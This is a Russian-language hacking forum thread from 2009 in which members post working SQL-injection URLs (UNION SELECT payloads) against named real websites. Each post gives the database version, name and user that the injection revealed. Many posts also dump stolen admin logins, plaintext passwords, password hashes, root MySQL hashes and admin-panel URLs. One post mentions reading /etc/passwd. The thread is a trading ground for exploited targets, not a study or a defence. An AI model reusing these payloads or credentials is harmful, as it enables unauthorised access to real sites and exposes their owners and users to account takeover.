SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.torgintech.ru/news.php?act=news&id=-1+union+select+1,2,3,4,5--

    Database Version: 4.1.21-log
    Database name: torgintech
    User name: torgintech@localhost

    ----------------------------------------------------------------------------------------------------------------

    http://www.hdiaustin.org/index.php?view=news&id=-1+union+select+1,2,3--

    Database Version: 5.0.67-community
    Database name: ??
    User name: hdiaust_read@localhost

    ----------------------------------------------------------------------------------------------------------------

    http://www.cinetec.ru/?m=news&id=-1+union+select+1,2,3,4,5,6,7--

    Database Version: 5.0.45
    Database name: cinetec
    User name: cinetec@localhost

    ----------------------------------------------------------------------------------------------------------------

    http://www.liberiansinholland.com/index.php?p=news&id=-1+union+select+1,2,3,4,4,6,7,8,9,10--

    Database Version: 4.0.27-standard
    Database name: liberian_database
    User name: liberian_website@localhost
     
  2. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    http://www.eage.ru

    Code:
    http://www.eage.ru/ru/conferences/detail.php?id=-18+union+select+1,2,concat_ws(0x3a3a,version(),database(),user()),4,5,6,7,8,9,0,11,12,13,14,15--
    database : 5.0.67-log
    name_datadase : u47323
    user : [email protected]


    name : Administrator
    Log : admin
    pass : string
    email: [email protected]
     
    1 person likes this.
  3. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.barrowhill-vets.co.uk/mygallery/display.php?id=-66%27+union+select+11,concat(user(),0x3a,database(),0x3a,version()),3,4,5/*

    GUESTS@localhost:mygallery:5.0.22

    http://www.southwalesforktrucks.co.uk/display.php?id=124/**/UNION/**/SELECT/**/1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/**/LIMIT/**/1,1/*


    [email protected]:4.0.24-standard-log:sw
     
  4. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://modemtur.ru/index.php?act=news&id=-1+union+select+1,2,3,4--

    Database Version: 4.1.22
    Database name: wwwmodemturru_modemtur
    User name: [email protected]

    -----------------------------------------------------------------------------------------------------------

    http://ns.dosimetr.ru/?page=news&id=-1+union+select+1,2,3,4,5,6,7,8--

    Database Version: 4.1.14-nt
    Database name: betatest
    User name: root@localhost

    Login: root
    Pass: rrtt
     
    #8344 .:[melkiy]:., 16 Mar 2009
    Last edited: 17 Mar 2009
  5. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    easy.finereader.ru

    Code:
    http://easy.finereader.ru/works/?id=-16+union+select+concat(user(),0x3a,database(),0x3a,version()),2,3,4,5--
    user(): easy-finereader@localhost
    database(): easy-finereader
    version(): 4.1.22-log

    PR=3

    table user

    Code:
    http://easy.finereader.ru/works/?id=-16+union+select+concat(user_id,0x3a,user_login,0x3a,user_pass),2,3,4,5+from+user--
    HTML:
    5:thistle:thistle
    6:pablo2008:ybSsbp5cT
    7:skotch:NKTeSuQ2z
    8:simam:STg4xpTPq
    9:Yarik:gCQzggkCp
    10:Olegator:9FQBdB8Hk
     
    2 people like this.
  6. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Pagerank: 4
    тИЦ: 375


    Code:
    http://www.gm-avtovaz.ru/new_ru/inside.php?pointer=-1+union+select+concat_ws(0x3a,version(),database(),u ser()),2,3,4,5,6,7,8,9,10--&page=informDetal
    Database Version : 5.0.67
    Database name : gmavtovazru_gm
    User name : [email protected]


    Code:
    http://www.gm-avtovaz.ru/new_ru/inside.php?pointer=-311+union+select+concat_ws(0x3a3a,name,password),2,3,4,5,6,7,8,9,10+fr om+gmavtovazru.auth--&page=informDetal
    Code:
    gm-avtovazru:G15m26A11v23
    thx 2 farex and AkyHa_MaTaTa ;)
     
    #8346 f1ng3r, 16 Mar 2009
    Last edited: 17 Mar 2009
    1 person likes this.
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.rof.ro/index.php?page=-21+union+select+concat_ws(0x3a,version(),database(),user()),2



    Database Version: 4.1.20-community-nt
    Database name: rof
    User name: [email protected]
     
    1 person likes this.
  8. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.cdrm.ru/school/?action=news&id=-5+union+select+1,2,3,4,5,6--

    Database Version: 4.1.21
    Database name: cdrmdevel
    User name: cdrmdevel@localhost

    --------------------------------------------------------------------------------------------------------------

    http://forum.west-net.ru/index.php?site=news&id=-1+union+select+1,2.3--

    Database Version: 5.0.77
    Database name: sms
    User name: casker35@localhost

    Login: seoadmin
    Pass: sk09top10zx
     
  9. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.natja.org/ewire/display.php?id=472/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),20,21,22,23/**/LIMIT/**/1,1/*

    Database Version: 5.0.45
    Database name: NATJA
    User name: natjaweb@localhost

    Admin:eastwest:e5b383add2bb24336e93ff8da082951f:p[email protected]
     
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.monitoruldegalati.ro/index.php?func=articol&domeniu=Eveniment&articol=-4+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11--


    Version : 5.0.67-community
    Database : monitord_monitorul
    User : monitord_monitor@localhost
     
    1 person likes this.
  11. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.rtconveer.ru/production/index.php?id=-1+union+select+1,2,3,concat_ws(0x3a,ve rsion(),database(),user()),5,6--&pr=_9
    Database Version : 4.0.12-nt
    Database name : rt_conveyor_new
    User name : root@localhost


    админ :

    Code:
    http://www.rtconveer.ru/production/index.php?id=-1+union+select+1,2,3,concat(user,0x3a,password,0x3a,file_priv),5,6+from+mysql .user--&pr=_9
    Code:
    root:671100b84af6d5a7
    file_priv Y
     
    2 people like this.
  12. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.elpais.com.co/php/opinion/ampliar_opinion.php?id_opinion=-623551+union+select+1,user,3,4,5,6,7,8,9,10,11,12,13,14+from+mysql.user
    elpais:1cbbcde00d879eae
     
    _________________________
    1 person likes this.
  13. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.suzdalfest.ru/index.php?id=-3+union+select+1,2,3,4,5,6,7,8,9,10,11--

    Database Version : 4.1.22
    Database name : db_masterfilm_4
    User name : [email protected]

    -----------------------------------------------------------------------------------------------------------------

    http://www.jazzpoll.com.ua/index.php?id=-3+union+select+1,2,3,4,5,6,7--

    Database Version : 5.0.51a
    Database name : jazzpoll
    User name : jazzpoll@localhost
    --
    Админ:

    Login: ivan
    Pass: 2009pass

    http://www.jazzpoll.com.ua/login.php/
     
    #8353 .:[melkiy]:., 17 Mar 2009
    Last edited: 17 Mar 2009
  14. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    https://breakwaterschool.org/cc.php?s=7&id=-57+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
    5.0.77-log

    Code:
    http://gogetitcredit.com/cc.php?id=-5+union+select+1,version(),3,4,5,6,7,8
    5.0.51a

    Code:
    http://www.beijing-08.info/co.php?cat=bag_bag&page=&id=-21061+union+select+version(),2,3,4,5,6,7,8,9,10
    5.0.32-Debian_7etch6-log
    olli@localhost:*9D1F6B5862EB12ACFDC64B218DFA08CA38FE1F62
     
    _________________________
    #8354 yarbabin, 17 Mar 2009
    Last edited by a moderator: 17 Mar 2009
    2 people like this.
  15. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://borets-compressor.ru/special.php?newsid=-1+union+select+1,2,3,4,concat_ws(0x3a,ver sion(),database(),user()),6,7,8,9--
    Database Version : 4.1.22-log
    Database name : wwwtkboretsru_boretsco
    User name : tkborets_boret01@localhost


    админ :

    Code:
    http://borets-compressor.ru/special.php?newsid=-1+union+select+1,2,3,4,concat_ws(0x3a,us ername,password),6,7,8,9+from+admin--
    Code:
    vasiliy:2cc5ac173a4098b8
     
    #8355 f1ng3r, 17 Mar 2009
    Last edited: 17 Mar 2009
  16. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://revistaramuri.ro/index.php?id=-667+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7&editie=31&autor=



    Version : 5.0.45-5-log
    Database : printmaster
    User : [email protected]


    http://revistaramuri.ro/index.php?id=-667+union+select+1,2,3,concat_ws(0x3a,id,email,password,nume),5,6,7+from+printmaster.admusers+limit+0,1/*&editie=31&autor=

    1:admin:bibani4321

    http://revistaramuri.ro/adm/
     
  17. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    www.sanvek.ru
    site - http://www.sanvek.ru
    Code:
    http://www.sanvek.ru/index.php?id=20&idm=-344+union+select+1,2,3,4,concat_ws(0x3a,name,login,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+wm_users--
    database : 5.0.75-log
    database_name : sanmebo9_info
    table : wm_users
    name : Administrator
    login : admin
    password : partenit
    active : Y
     
  18. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Version:5.0.67-community
    User: sonistic_db@localhost
    Database: sonistic_db


    Database Version:4.1.22-standard
    User name: baits_clerk@localhost
    Database name: baits_shop



    Database Version:4.1.22-log
    User name: bangzuser@localhost
    Database name: bangz_data




    Database Version: 4.1.15-Debian_1
    Database name: uks38623
    User name: uks38623@localhost


    5.0.67-community
    redba5_redballoo@localhost
    redba5_redballoon




    Version:5.0.67-community
    User:noemioc@localhost
    Database:noemioc_org




    Version: 4.1.10
    Database: rockcontest_it_anno2004
    User: rockcontestread@localhost





    Version:4.0.27-standard-log
    Database: Sql74096_2
    User: [email protected]



    Version: 4.1.16
    Database: snews
    User: sisinfpub@localhost




    Version: 5.0.68-log
    User: [email protected]
    Database:Sql112896_1




    Version: 4.1.21
    User: bestbond@localhost
    Database: bestbond




    5.0.67-community-log
    dystopia_tiffdb@localhost
    dystopia_tiffreviews





    5.0.32-Debian_7etch8-log
    [email protected]
    swedishpunk_com
     
    #8358 spherics, 17 Mar 2009
    Last edited: 17 Mar 2009
    1 person likes this.
  19. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Version: 5.0.41-community-log
    Database: cosmole_gbc
    User: [email protected]


    Version: 4.1.22-standard-log
    Database: 347027_legacycms
    User: [email protected]


    Version: 4.1.22-standard-log
    Database: 335037_awatucms
    User: [email protected]
     
    #8359 .:[melkiy]:., 17 Mar 2009
    Last edited by a moderator: 17 Mar 2009
  20. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25

    Version: 5.0.51a-log
    User: [email protected]
    Database: eastcoas_realestate





    Database Version: 5.0.32-Debian_7etch1-log
    Database name: intertrading_info
    User name: webuser@localhost




    root : *8CC6D25FFB418EAC1093163C2DB24D644B9DE76F
    debian-sys-maint : *A7BB7A135E9236B6861F1F7C22C28027D012C90F
    webuser : *2E1319087233E5A3642345C6A55510DAE990B002


    Читаем etc/passwd

     
    #8360 spherics, 17 Mar 2009
    Last edited: 17 Mar 2009
Thread Status:
Not open for further replies.